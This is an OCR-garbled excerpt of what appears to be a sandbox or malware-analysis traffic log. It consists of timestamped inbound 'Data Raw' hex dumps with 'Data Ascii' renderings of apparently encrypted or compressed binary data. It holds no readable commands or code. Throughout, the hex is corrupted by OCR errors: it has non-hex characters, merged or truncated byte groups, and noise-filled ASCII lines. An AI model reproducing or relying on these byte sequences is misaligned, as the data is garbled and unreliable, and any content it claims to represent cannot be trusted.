Data Ascii: t&pg/X(ul'k2MoOTxc-Tn27+k34.xUuR/.3DVz4j*U5C u/Ss[+Gu|0]J722>87!#MP2n":Q-2(KNx~xn0yRfDD:#/s

2021-12-01 08:15:22 UTC 2293 IN Data Raw: 56 a6 ed f8 eb b9 61 16 1c d9 a5 bf 80 20 fa c9 88 5b 66 11 e8 ab 44 56 78 ea 78 e5 17 92 a9 fc bf 43 6d f4 f4
dc 7c 7c 6¢ 56 4b b3 c9 09 4f db 29 65 f9 8a al bf 8b 90 7d 7d 76 3e fc Of 2c 37 ea 8b 9a 2a ee c7 ab 76 b3 df b5 b7 94 ff
16 57 39 b8 d7 9e c2 e3 c7 d2 99 92 77 ed 67 f6 8b ec 5a a2 b7 e7 25 ed cf 21 55 ee db ba 53 cf 1f b9 db 13 35 13 57 bd
0f b4 d5 1f 45 b9 97 96 67 9e de 88 07 93 ce 6¢ 9f 01 8b 26 56 ec Oc a0 23 50 d1 59 el 18 1b 56 ab 94 66 5a cb 4f bf 7f
339858 05 ea 12 2c 04 e3 69 94 05 5e c¢1 56 b3 cd ¢5 b0 14 dd 26 66 1c 40 7b 05 66 b9 73 46 dc f8 al 8b 95 e3 4c ef 73
2b 38 2b c2 21 66 b4 a2 52 9e 37 f4 96 67 98 00 72 fd 36 8b 51 6a 54 33 59 f1 eb 05 a7 ee b2 ce 44 63 b6 a7 4a 51 6a 80
59 f3 a9 e7 bd 8 38 52 88 c8 76 5e 21 80 8f 7a de
Data Ascii: Va [fDVxxCm||IVKO)e}}v>, 7*vWIwgZ%!USSWEQI&V#PY VIZO3X,i"V&f@{fsFLs+8+!fR7gr6QjT3YDcJQjY8R
VAlz

2021-12-01 08:15:22 UTC 2309 IN Data Raw: df 1b 58 e5 fa bf 1f bd e2 52 04 72 ae a5 Oe d9 3f 65 f4 ac a7 ca 2e Oc 73 51 0f 23 18 52 Oc 44 5b a5 23 19 6¢
6e 90 d2 41 fd ac 51 37 44 90 5e be 58 cb d6 1d 40 87 ce Oa 36 53 cd c8 2c 70 37 dd e5 53 32 d5 76 b0 99 ee 89 86 08
a7 5f 8e 8d 34 Oc 26 36 33 55 05 80 6 ef 71 el 22 34 c7 b5 47 ¢8 31 9b 68 Oe cf 85 a3 af de 8c 19 38 dc 88 04 93 0a 91
22 e8 ef 61 8c aa 76 fa f8 8a a0 92 ce 9d 00 29 bb 1c a2 59 b0 23 30 a5 fb 4c 32 08 65 68 d3 77 87 60 5d 9b ac 01 55 e7
9f ae 6f 48 94 fe el 4a 51 24 c7 40 1e 59 78 61 72 ea 54 bc 3f 7a 1c 04 3f 9a d2 24 Oc 44 7d 73 bd 5b c1 e7 b2 2¢ 39 2e
lae2 d30f 18 86 b1l c8 06 e7 43 64 b0 89 6f fb f4 96 4c fb Of 8¢ 54 c3 ad a3 66 fd 25 el 2f 21 cc 68 f6 f2 a9 da e0 66 6d 4f
a5 bl b2 09 29 91 4a dc 9c cl 4f 72 1a 7e 6f Of de
Data Ascii: XRr?e.sQ#RD[#INAQ7D"X@6S,p7S2v_4&63Uq"4G1h8"av)Y#0L2ehw JUoHJIQ$@YxarT?z?$D}s[,9.CdoL Tf%/
IhfmO)JOr~o
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2021-12-01 08:15:22 UTC 2325 IN Data Raw: 06 66 69 1c db 11 b9 33 9e df ab 21 08 2b df df ad 4b af 68 99 2a fb e4 19 eb b8 fc 21 f3 b7 77 c4 dd 20 2e 26
4e 73 5a ee c8 4e 87 ef 83 6b 6e 75 84 00 9a Oc 98 cb 64 0f 01 34 5c 84 eb cf 1e d4 c4 a2 cf be ¢7 99 9d bd da 9f 66 cf a6
44 1e bf 62 54 77 11 57 88 54 a5 Oe 36 74 e0 e7 c8 a9 36 cc 33 6a bd 2b e0 80 78 53 b1 d6 ad 7d 5a cb 3a 1f 6a b5 Oc db
d9 35 04 a4 b4 39 de Oe 60 af b6 d2 7c bd 04 01 c7 bd 13 ce 6b ce 4b ec Oa 73 54 7a ba b4 e4 a2 95 41 57 aa 36 72 17
80 be c3 66 9c 27 34 06 62 28 7d f4 7e 5f 37 1f da f8 71 22 b9 bc 07 ed 03 45 fc ec 2a 47 e5 5d 98 60 83 87 85 99 67 37
6a 38 2e b6 90 38 ed 4f 4f 7f bb c5 4f d7 03 54 91 a6 8f ec 9b 37 c7 5¢ ed 04 6f d6 ea d5 bl 15 b3 fc 7d ce a5 72 e2 ae dd
77 40 3d 24 8b df f2 b5 f2 ¢3 41 9b 8b f1 80 e0 d4
Data Ascii: fi3!+Kh*lw .&NsZNknud4\fDbTwWT6t63j+xS}Z:j59°|kKsTzAWG6rf'4b(}~_7q"E*G] g7j8.8000T7\o}rw@=%$A

2021-12-01 08:15:22 UTC 2341 IN Data Raw: 8a 81 c4 91 93 cf 55 cf 3c 15 57 37 d7 56 30 bc a6 1e a0 73 bd b0 4e 1c d9 ae 9f b0 13 66 1e 19 cc 9d 09 b9
4486 81 85 27 57 7f 44 b1 a8 87 10 Oa 41 d6 7f 43 25 Ob 32 8b 10 bf 4b 42 fe 59 dc 66 f9 99 3c 67 c8 7e ff 87 9f 51 60 13
laf5 16 ad 58 a0 4b 5 2f 29 8d e8 95 9c 00 2d 26 ea 30 5f 9e 2e c9 7e 51 69 b8 Oe 54 27 00 e2 59 ec 1a 15 eb 1le b4 12
44 b4 6a 21 58 f4 5d 97 03 bc 16 57 6b fa 7f 5d ec {7 ef c4 09 83 81 7d 53 ba 9e ac eb 63 23 83 80 de 44 b4 50 98 hd 84
52 ¢2 10 e4 09 6e ba 70 50 d5 46 3a 97 63 8b 24 78 aa 59 5d d0 9a Oa 29 ff Ob d3 41 89 5d c4 5a a5 a4 ed c4 14 66 24 a3
4b 87 97 ea e6 7e f8 fa c9 7d c0 a0 65 b3 bl c4 63 ef d2 47 5c 22 e2 97 Ob 64 24 29 ff 2f b4 6b 77 91 {7 cf 69 db al be 83
32 ebae 3c 56 cd 97 7c 85 ca 74 dc 38 ea 30 03 c8
Data Ascii: USW7VOsNfD'WDAC%2KBYf<g~Q XK/)-&0_.~QiT'YDj'X]WK]}Sc#DPRnpPF:c$xY])A]Zf$K~}ecG\"d$)/kwi2
<V|t80

2021-12-01 08:15:22 UTC 2357 IN Data Raw: 3f 9a 64 2f f2 dd 84 74 d0 56 c7 bd 26 13 4d a4 8e 20 51 c¢5 5c¢ 8d d4 a0 d2 8b 45 cc 2a cc f2 ¢9 a6 2d Oa c4
207c 17 dd 7f 42 f3 1a ¢7 9a 61 90 68 ce Oe 31 c¢9 02 93 ec 34 c0 56 15 02 a0 76 e7 62 9b Ob 68 ec 91 7b 6d d4 d9 1f 7d
433708 1e 31 c0 ae 55 30 82 7a €8 a8 63 3a 84 1d 2e 05 b8 48 f3 e2 c6 21 17 e6 Oc 1c 58 3e 96 b2 f9 5¢ 32 a7 e7 Of 61
3d 45 28 21 63 5c¢ 4f e3 cf 51 93 bb al ae 08 9c 27 ce 09 ab a5 6b d8 09 2b 06 58 5e al 64 be 35 6e 4e 7e fa 5b da b9 30
06 d6 25 84 11 90 be 59 4b ff 99 e4 c7 Oc 27 41 ff fc 8a 8¢ 66 dd cb 56 8a cd 2e a2 fa da e8 c¢3 4c 11 6b d4 50 53 a7 ee ed
42 d7 18 89 15 6b 66 e4 57 d5 50 af cc b3 cb 25 be 74 6f cf 46 73 7e d1 61 1d fa f4 ad bl 97 ad 9b 2e 20 22 22 aa fa 83
18 34 55 02 70 bf ff e1 f9 Oc 03 98 a3 7b f4 d5 2d 5e
Data Ascii: 2d/tV&M Q\E*- |[Bah14Vvbh{m}C71U0zc:.H!X>\2a=E(!c\OQ'k+X"d5nN~[0%YK'AfV.LkPSBkfWP%toFs~a.
"aUp{n

2021-12-01 08:15:22 UTC 2373 IN Data Raw: 17 da c5 ec 3e b7 91 5a 73 94 13 c7 cb 8e cb 2d f7 3a f4 31 53 83 30 d8 €3 4e d3 45 1e b9 al 5b al 70 fd 8b
€3 69 4e 58 be 10 c0 7a 32 fc 9a 30 4d 69 cc ed 66 71 64 cb 52 93 5b ed 7e 2f ¢8 65 13 bd fd b7 c3 fc fb 83 0d 1f c2 a7 62
d4 28 5d 2f d5 2c 55 5a 67 6a 50 79 6a 42 ec a6 78 3¢ ba c0 50 8f c2 33 ae da ee f9 92 7f 2e a8 97 d3 86 24 fe 2b bc d4 af
f4 56 8c 1d 82 6e 53 1b a3 ef 4a 35e9 c0 al 90 e7 ab a1 81 97 61 1d f1 2a e2 73 03 e7 3c aa 65 Of 1a 3a d7 1le 33 41 el
7 06 f8 6d 29 86 9b 8e 40 c4 e2 74 3e 26 24 75 c1 b0 98 40 23 5d 59 39 0a 48 08 9d 99 83 02 40 0f cb cd 98 d4 3e 13 60
f0 88 73 21 a9 90 4c 56 27 4d 87 ad ef 5f 3b 2a 8c 1e 5d 6¢ f1 el 4c fh al 4d Ob 95 93 ee f4 5e 6b 94 30 c2 db €8 3d db ec
37 bb 39 1f 7b 9d 47 a8 78 37 63 0a 95 d7 €5 00
Data Ascii: >Zs-:1SONE[piNXz20MifqdR[~/eb(]/,UZgjPyjBx<P3.$+VnSJ5a*s<e:3Am)@t>&$u@#]YIH@>"s!LV'M_;*]
ILM?k0=79{Gx7c

2021-12-01 08:15:22 UTC 2389 IN Data Raw: c0 4a 7f 85 c6 8b f6 a5 3e 1f 43 6¢ 71 33 9c d9 f9 31 93 96 f6 a8 77 05 1f e6 a8 26 ee 95 3a 81 la ac 74 01 68
1a 6b 90 4b 56 d9 82 9f €9 5b 03 7d 25 28 9f 59 9f 5d 26 9b ea ea cf 8f be f5 08 89 48 a0 8¢ 3c f3 b0 97 27 61 95 a4 00 8b
21 2c 62 84 98 58 2e f5 4f ef 51 9e 8a ec d4 95 bc ae 33 43 61 ¢9 bc 90 64 c2 65 bf 9b 23 b0 70 04 6a 9 9d bb e5 8b 80
ba 40 16 67 d0 85 9f d1 cf 8d 83 da 51 7c 41 f6 1e 36 6b c8 5e fe 1e 56 00 eb fe 0d ec 3d 53 9e a0 29 al 60 7f c2 49 92 24
10 5f 95 54 16 4a 8a 46 4e df 99 cO 9b 7a 3d 02 94 €9 7d de 9f 48 62 d1 40 2e 7a ea b4 87 7f 61 0a 58 29 62 fc c3 29 56
5d c5 64 fb a8 5a 98 bl 7b 64 5f €3 eb 18 0d b8 20 7b 2a 14 fd ce 28 f2 58 0f 4d c9 65 be c5 ca 08 a4 cl a4 2f 35 76 31 eb
53 10 0f 97 b4 e6 88 63 el eb 31 85 84 6f 7f
Data Ascii: J>Clg31w&:thkKV[}%(Y]&H<'a!,bX.0Q3Cade#pj@gQ|A6k V=S)'I$_TIFNz=}Hb@.zaX)b)V]dZ{d_ {*(XMe
/5v1Sclo

2021-12-01 08:15:22 UTC 2405 IN Data Raw: b3 3d 75 cc d2 d0 98 8 85 99 55 5d ae al 23 dd ea 67 9a 86 14 af d4 05 3f 62 f3 c4 b5 3f 05 06 ac 75 5f 75 6f
27 75 0b 3a 5e 81 aa 17 9a 6¢ fb 7f 3f 79 ac ca 34 02 64 e4 61 41 68 8e 1a 7e 27 61 40 €5 9f 6a 4e 5e 34 c5 2 0 0d b0 93
8154 7d 1a ea 6e 9d Of 51 d1 24 f3 ae 1e 82 71 b8 17 df 93 53 17 cd 12 b6 bc c1 e7 47 1e da 25 3d 27 d0 42 22 b9 3f dO
50 6b 27 20 db 2b 86 88 a5 b2 4c 99 54 Ob d6 64 aa 88 6b Oe c8 be 15 e ca 24 ea 8d d7 41 a6 e3 cb 90 35 €9 c8 44 d4
2af9 89 e6 13 96 5a 7a d2 33 8f 72 45 d6 55 9 7b 70 cf 22 2c 98 aa 26 ad 34 8f €0 d4 aa 15 85 b3 0a 28 46 88 72 57 b9
08 15 4e ad 72 00 b6 5a 71 29 df 2e cb 2d 4f 6d 1 74 1d 3e c4 b1 ac b8 83 e5 e5 e7 26 aa 05 Ob Oe 0f 02 25 2d 50 6¢ 63
bd 64 20 c6 b4 ac 9f f4 bb 72 01 a6 66 3d 2d 33 al 35
Data Ascii: =uUJ#g?b?u_uo'u:N?y4daAh~'a@jNA4/TInQ$qSGY%="8"2Pk' +LTdk$A5D*ZZ3rEU{p" &4(FIWNIZg).-Omt>&%-
Plcd rf=-35

2021-12-01 08:15:22 UTC 2421 IN Data Raw: bb 14 b8 fa 85 c0 23 7f 64 02 31 4b 11 b1 90 74 3d Oe 22 95 9d c0 34 9b 35 35 47 01 34 4d 57 4b c0 51 15 d4
74 al 8a f5 84 6a 9e 5d 61 8c bd 97 45 76 5f 74 1b 8f 6¢ bf f4 fe ac 56 5d 55 b3 bb 55 ea 9c 44 ae 59 fe b9 3 1b 38 9e 1le
ch d6 96 d5 28 4c €8 98 15 9a f4 1a 11 61 cb 38 d5 1f cd 22 77 91 45 09 4c Oc Of cf 36 85 f4 9d Oe d5 03 b6 d6 35 f6 37 83
Oa ac db 5f ca bb 9a 18 37 47 18 5¢c a2 e0 43 3e 03 8e f3 7a 06 d6 33 89 56 96 42 c2 c0 ee 66 25 6f a0 57 f9 c1 ac 95 f6
5b el b2 c1 9b 56 ef aa b6 db ba ba 7c 43 fe df 2d 63 d3 10 ed e6 d4 36 1a ce 74 68 d3 76 a6 5f 80 77 93 30 50 d3 de 55
9e 5b ad 69 33 b3 f3 0c d0 e6 c3 d6 6a f1 4b 3b c8 7f b5 6e 75 fb 3a b5 f7 b7 ¢3 32 24 b3 15 46 17 el 7c b7 94 72 05 a7 8t
72 b6 67 Oc 3e 65 41 4e e8 82 89 de 27 7c 91 93
Data Ascii: #d1Kt="455G4MWKQtjlaEv_tIV]JUUDY8(La8"WEL657_7G\C>z3VBf%oW[V|C-c6thv_wOPUIi3jK;nu:2$F|rrg
>eAN'|

2021-12-01 08:15:22 UTC 2437 IN Data Raw: 45 5e 48 3a 3a bd 8a 0f 60 e7 61 54 d0 a2 5f a5 21 fd dd a2 a4 65 f3 56 31 56 f6 55 f4 60 c4 fb 38 6¢ a3 b6 6a
61 ff 13 4a d5 89 be d1 dd 47 a7 08 64 f5 16 66 1b 4a 89 al 6¢ d6 07 d9 a0 3c 41 86 c7 81 al 96 83 19 d5 Oe 05 6a 63 33
ef a6 00 bf 54 e8 6¢ 50 05 45 ca 3b af f7 49 2d f3 15 dd b0 1f c9 da c8 3c 38 bd ab 98 58 b0 bb 36 81 97 39 c2 b3 18 23
b9 34 d4 47 48 3a 46 al 4d df f9 51 17 e4 55 27 37 b6 9a 77 1c aa 1d 86 c0 07 ef 94 e2 54 ed 82 53 2c b5 68 4a 01 dd 55
1f Of 61 98 df d5 1f fc ed 7a 13 74 3b d1 56 35 1a ae 38 bb 5e 52 ¢2 59 b7 5c 7f be af ac fd b7 18 2a ea f2 93 a9 4a 37 d8
6a 32 c4 87 26 7c Oe ae b4 4e bf 07 59 56 66 8a ¢9 79 ¢9 91 d2 00 a3 al 2a 6¢ be 14 8f Oc 72 56 2a 66 4e a4 62 44 Oc cb
€6 bc 44 5b ab a4 dd 33 de 84 ed 89 44 51 73 f5 97
Data Ascii: EAH::"aT_leV1VU 8ljaJGdfJI<Ajc3TIPE;|-<8X69#4GH:FMQU'7WTS, hdUazt;V58"RY\*J7j2&|N Y Viy*IrV
*fNbDD[3DQs

2021-12-01 08:15:22 UTC 2453 IN Data Raw: e6 48 81 66 a9 25 ae ec ee each d9 71 47 1c 5c¢ bf b0 3e 6f bd 88 e2 52 da 90 ea 12 e5 ce 32 0d c5 f0 ee 53
Ob 1f €9 4a f4 b5 83 88 91 84 5d Of 1e 23 b3 b3 34 b4 aa al 18 aa €6 d3 Oe fb 89 79 8f 31 5f 54 81 e7 4f 9c d8 cc 9b 12 82
18 dd 3f 2e 93 a7 55 ab 1a 3f c2 80 ba 0d 38 a9 a9 5¢ 33 dc al bl ee 58 1a 8b 65 3b 7d 35 3f d6 7d dc 73 36 fc 4c 89 1d
ee 00 ef 8e fb f5 4d 49 91 e7 09 44 8 44 f5 2d 54 17 ¢6 12 7c 53 4c 4d 3b 8d cb a8 0f 9d fa cb f1 e5 bl 2f ¢3 5d fa dc d9 bt
2b b3 af 06 43 92 77 c0 9d 20 22 30 4e 7a 2c 2f 5f ec 12 14 ee 2b 89 85 10 08 01 81 6b c5 c0 39 0f ¢4 39 46 b2 53 6f al fb
€6 6a f3 4c bd d8 5f a9 56 1c 86 60 b2 12 af c8 dd 2d 3c 76 75 71 f0 a9 18 14 Oe 4f 12 9c 2d 50 2c¢ 2b 27 fd af 28 bd e8 d3
4d f9 ae 1d 24 7e ac b6 dc e0 9a 67 83 d3
Data Ascii: Hf%qG\>0R2SJJ#4y1l_TO?.U?8\3Xe;}5?}s6LMIDD-T|SLM;/[+Cw "ONz,/_+k99FSojL_V' -<vuqO-P,+'(M$~g
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kBytes
Timestamp transferred Direction Data

2021-12-01 08:15:22 UTC 2469 IN Data Raw: 2e 74 5b fd 72 7a 9d c8 70 a5 40 89 ca 6a bd 40 cc 59 cf a9 c2 f0 51 09 5a 06 a5 5a 44 c7 d3 76 49 94 e0 9f db
a9 67 4e 80 b8 10 62 12 18 69 38 ec dc 76 ba 7d cc aa bf 5a ce 53 ab 2d e2 e8 54 fb ab 84 b2 c3 fd 3c 25 9d c4 8a 0f 47
d2 dd 6¢ 9b el 8c 33 69 1a d1 3e c2 ee b5 50 c8 bf 94 e5 fa 65 a5 9a 6b 20 6e e5 b6 32 67 9e bd 7a 24 81 98 7f 67 8d bl
12 b1 8c {7 ef a8 ed 92 4d 64 €6 2d d1 78 9d 3¢ 33 1a 72 Ob f2 10 1d Oc €3 21 68 5d 26 5b 77 Ob 2c 21 fd 25 7a 77 fb 8¢
62 c7 b3 12 e7 3f bd 86 2e 77 a8 86 99 5b c5 54 5e 66 12 7e 76 29 da be f6 3a 03 93 a5 48 e5 71 76 cd d5 a2 87 00 a7 4f
8f 39 c6 9c a2 fd 08 ea d8 7a 6a c2 49 f8 ce 36 78 11 a2 33 37 a6 40 8e d6 cf al 4f e6 9c 27 19 ef f9 48 7d dO 86 aa cc Oe
6b f9 93 b9 8c ef 47 ce cf db 53 42 2a 8e f6 4f 19
Data Ascii: .t[rzp@j@YQZZDvIgNbi8v}ZS-T<%GI3i>Pek n2gz$gMd-x<3r!h]&[w,!%zwb?.w[T f~Vv):HqvO9z]I6x37@0O
'H}kKGSB*O

2021-12-01 08:15:22 UTC 2485 IN Data Raw: b5 3f 4d fc 3f c2 e8 a0 9f b7 5d 86 9a d4 02 c2 dd a4 0a 41 Oc 28 94 3a a2 Ob 6e 3f c7 74 49 c1 Oa a4 22 30 ad
72 42 a8 c3 ed 5d 6e ae 76 7f 21 80 27 1d 21 78 4d 89 4c a3 4a a5 9d 1c f9 0d 91 36 ff 1a 8d f6 f7 8e 19 b0 e7 ab 4b 96
86 82 c9 81 44 b0 f7 d2 59 61 al 82 37 c0 07 b7 99 al 6f 39 ¢8 b7 51 a8 8f b5 39 ba 47 73 f0 61 8c 5b 63 41 d1 29 5¢c a3
63 28 1a 16 d4 3c f3 62 b0 4b bc 86 0f 22 27 f2 99 31 5a 10 1a 32 2f 2c 9b fa cc a0 56 af 1e cb 14 cd 11 78 €0 65 b9 53 a6
50 ed ae ac 59 a6 d1 54 08 9f fe 13 39 49 6f 98 55 47 2e b0 14 43 38 da ec 25 c6 56 8f fb d8 61 2b 77 9d 60 91 20 3d 68
63 2e 3d 05 €6 86 07 b0 7c a0 c2 2d Oa 6d e5 04 67 e4 10 28 c5 6b cb 19 c2 49 cf 09 51 04 a3 2e 4c 08 c3 bf 4e a8 c2 b3
bf 3b 25 f0 6d a8 60 55 85 01 e4 29 d1 1le 5d 29 4a
Data Ascii: 2M?]A(:n?tI"0rB]nv!''xMLI6KDYa709Q9Gsa[cA)\c(<bK™"1Z2/,VxeSPYT9loUG.C8%Va+w" =hc.=|-mg(k
1Q.LN;%m"U)])Jd

2021-12-01 08:15:22 UTC 2501 IN Data Raw: d9 bc a8 a2 7e e0 42 45 4c 57 67 39 b6 10 d1 ¢3 63 83 b2 17 33 63 19 7d 7f f9 fO a0 18 57 Oa 7a 6¢ 3e 00 dc
8c b0 ab 17 2b 64 03 ae fe 07 98 50 db 2a 49 f1 cc a9 25 5e 11 67 a8 78 4f 13 80 dc 25 1e b0 75 82 58 1e 1a af 77 a0 b5
c5d3 f5 7af4 Oc 94 32 fd a3 21 5e 97 cc b7 5b 3d fe 86 df f5 f3 03 74 5b 56 8a fa el 7a 7e f2 2f 69 ce Oc 48 1e 48 41 e3
d7 48 37 25 a4 34 00 e6 d9 51 b6 cf 53 10 e2 39 b9 7f 9c 3d c7 50 d7 3d 5a ce 64 7f 6b b7 d7 f3 €9 27 1a 09 63 83 fd e7
22 8d ac 57 4c a2 13 20 05 c9 Oe f2 a8 Oe 81 72 fa 7d 8a a4 08 2a 59 48 dc d2 96 b5 1e b5 dd 75 e4 5e 64 ce f1 5d 02 1e
c6 c1 65 be 85 ce el 6d ff 60 e7 9a fd 5f c7 c9 3f b7 6e f3 55 64 62 0f 6¢ 5 54 6a a2 f3 66 e7 41 1b 8c e5 7f 5¢ 8d 7c 05
41 fe df 40 7e ac 26 7b 13 d3 5d 4a 87 21 ac b6 9f
Data Ascii: ~-BELWg9c3c}Wzl>+dP*1%"gxO%uXwz2!N[=t[Vz~/iHHAH7%4QS9=P=Zdk'c"WL r}*YHu d]em"_?nUdbITjfA\
|A@~&{]J!

2021-12-01 08:15:22 UTC 2517 IN Data Raw: 73 8¢ d7 83 ac 83 8b e5 30 00 2d €9 ab cf 59 18 09 6¢ c3 e6 12 5¢ e0 ef d0 56 d6 d9 93 f4 87 e2 25 63 a2 95 0f
bl d3 el d9 e5 3c 7a 2c b2 10 df b5 84 ea f1 6e 64 cO 7a d0 a7 db 18 b9 cf 37 05 44 73 d8 Oc 19 b6 83 e4 81 58 fd e4 9d
86 cf 5f 91 d6 ba 8d f5 72 d8 1c c7 13 43 9d c4 48 dc 81 f4 50 €8 34 9f 28 db 47 61 a5 28 e5 cb 9f bb 04 d9 8f fc 25 e5 c9
7f b2 be dc el 72 8d 2a f6 ¢9 19 48 8e a5 ef df 18 07 c4 05 39 f5 5¢ 33 3a 9a 63 78 fa f3 29 ee 44 d3 e3 1f d3 dd 63 fd 65
8e Oc f1 57 58 d1 8 8¢ dd 2f 96 56 6f 81 71 a8 54 2b 6e d1 2b 9a 6f 43 e2 96 75 ad d4 ea 34 81 f6 ff 9d 3f a5 18 76 2c dd
9a 4c Ob fa a0 70 8d ec 0f 85 02 03 2e 1a 35 a0 ec 48 a2 8c 2f 40 38 85 41 b0 df ee ¢7 5e 9b d4 a7 46 27 1a b0 1c 15 62
a2 71 e0 6d d7 65 81 d7 37 3a 81 b4 50 bl 7c
Data Ascii: s0-YI\V%c<z,ndz7DsX_rCHP4(Ga(%r*H9\3:cx)DceWX/VoqT+n+oCu4?v,Lp.5H/@8AF'bgme7:P|

2021-12-01 08:15:22 UTC 2533 IN Data Raw: ec f5 e8 8e 26 08 13 5e 20 8d 3a 90 48 d3 05 63 82 52 bd ¢4 bc 03 96 03 82 43 cc 80 50 Ob c2 4 11 40 9e e8
0a 16 21 0 6b d0 2 79 bb 89 57 49 64 2f 5b 9a 52 a6 46 89 4f 47 d2 46 dc c1 9d 33 7e 81 5¢ 5a 39 91 aa 56 0d 91 eb 18
74 dd 4b 14 b2 60 4b €0 d6 9d 96 16 c1 86 ba ab 3b cb 17 7e a7 04 97 64 d8 3e ea 5a 32 61 ba 3d b3 90 52 8e ce 7d 97
fa Ob ce 74 1d 34 d0 aa db 09 86 26 a6 2 16 27 89 79 ¢1 2a 10 d9 3d 3e 80 8 7e 59 8e 43 2c 8e 5e €3 57 ec b7 56 37 2d
db 55 69 f9 68 dd 53 3b 14 15 a9 86 b7 e4 50 8f b3 ce f7 f2 52 ed 60 24 06 0 ab 51 74 89 68 0a 5e 4e f3 f9 a3 3f e9 5d 8f
d8 f1 00 66 Of ¢6 63 50 61 7b 80 25 7b f4 73 25 94 2 fe ¢8 7d f2 97 77 91 61 29 ad 9e 7d ad 5a 52 ab 1b 74 f1 29 20 Oc 8
87 eb 18 €5 15 75 56 82 68 b0 al 5b f9 da ad 81 08 59
Data Ascii: & :HCRCP@!kyWId/[RFOGF3-\Z9VIK K;~d>Z2a=R}t4&'y*=>~YC AWV7-UihS;PR $Qth"N?IncPa{%{s%}wa
YIZRt) uVh[Y

2021-12-01 08:15:22 UTC 2549 IN Data Raw: 66 54 fa 79 3c e5 24 a7 37 4d el 72 42 44 89 83 bb ba d8 f6 31 d9 fe cf 83 38 5e 50 76 e8 04 c2 33 af 36 51 d5
41 ba aa 5d 87 e4 98 40 10 72 6a f6 14 5e 12 al 03 7d e3 97 b4 bc e0 6b 89 fd 45 76 9e a3 c2 9f 2f 65 37 a0 aa dc 7c cf 5f
2f 7321 cc 29 82 ef c1 fb 20 c0 02 15 88 b2 60 23 el ee 13 83 67 5f 04 99 1c 1c fa 80 55 f2 ed 4a f2 45 61 9e 7c 74 92 d7
45 3a 7d c6 53 80 21 5b 1a bb ac 6a c4 80 47 2f 81 8e 23 bb cf 67 4a 68 76 cc d4 59 a2 63 51 93 b4 f4 fd 9e 7b 7a 03 ad
2f be 5f 2b 2b 8a 54 37 13 39 e8 1a f4 fc ec 4b 5a 46 2c el 5e 3f 2b 52 17 02 81 f6 5e 76 49 ec 4a be 95 3a 52 d7 6b 62
cd b9 2b aa 6a bc be 77 f9 ba 08 61 7 16 27 88 30 74 bc 46 48 78 75 7e 24 a2 47 a3 e9 4e fb 9b 66 1f d4 31 00 eb c3 ee
cd ab d1 bb 77 8e dd f3 6d ae 0f a7 2¢c 7c d3 f8
Data Ascii: fTy<$7MrBD18"Pv36QA]@rj"}KEv/e7|_/s!) #g_UJEa|tE:}S![jG/#gIhvYcQ{z/_++T79KZF,"?+R"vIJ:Rkb+jwa'OtF
Hxu~$GNflwm,|

2021-12-01 08:15:22 UTC 2565 IN Data Raw: 45 9d b6 c7 03 19 cf e7 1c 5e 49 c¢6 3b 57 3a 2e c9 cd Oe 4c c6 fa 71 51 b9 a4 ad al 73 8e 25 a0 f3 dc 51 85
09 95 26 48 19 b8 94 25 ac 15 7¢ b2 53 e2 98 9c f0 13 37 78 4a ca a2 92 d9 30 41 8e 77 ca f9 1f 72 fd 67 31 bf b8 4d db
2441 c8 7af9 3b 17 24 1a 5¢ 34 56 el fb 23 2b e2 1c 94 c9 06 c6 68 d9 a8 el 24 e5 74 93 35 ff 04 4b b5 d3 98 43 04 Ob
31 14 c6 4c 2c 6f 5b ed 4e 38 77 2b a2 6f 73 eb 58 e3 8f 4b ca 6¢ 04 d2 8b 07 eb 9d eb 90 cc e7 98 71 22 31 00 91 ad 6e
b4 e0 98 b2 2d 6a a4 cf b6 9f 5a 8e 1e ba f7 3c 4a ab ae c8 5a 30 1b e5 46 32 31 86 cd fO b6 14 d0 dd a2 14 de ff 81 86
90 12 b8 64 c4 4d 25 39 69 42 2d ba 5e aa f5 d5 98 a0 03 bc b8 46 ad 92 a5 37 60 a4 d6 11 b8 f3 5f 16 a0 e5 97 53 73 41
dd 20 1d 1c 5f 17 12 3e ee 3e 73 f7 1le 3e 53 d4 1b 6b ed
Data Ascii: EALW:.LqQs%Q&H%|S7xJ0AWrg1M$AZ; $\4V#+h$t5KC1L,0[N8w+0osXKIg"1n-jZ<JZ0F21dM%9iB-"F7"_SsA

>>s>Sk

2021-12-01 08:15:22 UTC 2581 IN Data Raw: 7b ea 00 5e 78 7e 9c¢ 3d 1b a8 3f ed ad 3e Oa c4 97 f3 6¢ f7 ca ca ae 1c bl f3 6a a8 80 5d 27 91 0d 05 ca f2 f4
4a 04 a3 13 ae 37 1d a0 64 91 bd ef 5¢ 96 4b 34 1e 71 16 3c 71 cc 13 01 36 38 95 4f be d9 3d 2f f3 15 52 59 7f 27 ed bb
6 87 a7 f0 c9 08 c4 ad da ec b2 24 2¢c 8a 42 5 7d 34 84 69 d8 a7 69 fb 55 62 b9 61 37 5f 6f 8¢ 26 83 65 9f 35 f2 83 70 22
8e ff 41 48 7 6f df 5e c4 28 8f f6 12 el 95 30 90 06 5d 9a 4e ae d5 6b 28 09 15 d2 e5 2f 73 e0 91 aa 78 90 f3 71 fb 47 1f
34 46 22 79 c5 6f d5 38 ce d1 ab d5 ca 72 dd e3 86 b8 b1 al 5e Ob €9 b7 7b 27 7e 23 c2 34 85 c3 ac 7f 37 9b 42 ef 1e dO
9c dc 4¢ 50 ca bd d1 05 81 90 54 be e3 77 cc 5a f9 7b 62 56 ec 7c 9¢ 87 76 b5 e4 74 ¢9 75 54 16 98 15 7b 85 39 da 4a e8
2e 6¢ 07 6d cf c8 41 08 62 32 f8 98 90 c8 10 c8
Data Ascii: {"x~=?>j]"J7d\K4q<q680=/RY'$,B}iiUba7_o&e5p"AH0o"(O]NK(/sxqG4F"yo8r\{'~#47BLPTwZ{bV/|vtuT{9J.ImAb2

2021-12-01 08:15:22 UTC 2597 IN Data Raw: 6a 22 Oe 36 30 81 51 7 ff 03 cf al 34 1a 2e 98 4a Of 44 c3 2a a2 6d b8 5e bb 68 d0 40 1d 71 5f ¢6 da 2d 8b d9
07 9b b9 68 15 da a0 70 ff 64 2c 8e 9c c1 64 3b 2a 99 3c 74 af 78 e4 8e 36 ed 6¢ 9b 2a da db 54 df 51 4f 3c d7 27 da 12
92 5e 6d 2c ac 46 86 3d db 8e c0 08 a6 cd b8 dc ee 1f 67 15 5f 1a 93 04 06 1b b0 8a d3 88 57 35 e7 c3 57 5e 5f d4 48 1f
37 cc 32 4f 3b 55 ¢4 9b ed ¢3 5b fd 9a 1¢c 83 75 b8 2b cd c5 da c8 84 ed d7 le 4a 12 ae ce 8a 74 8b ¢8 95 21 16 d2 9b 35
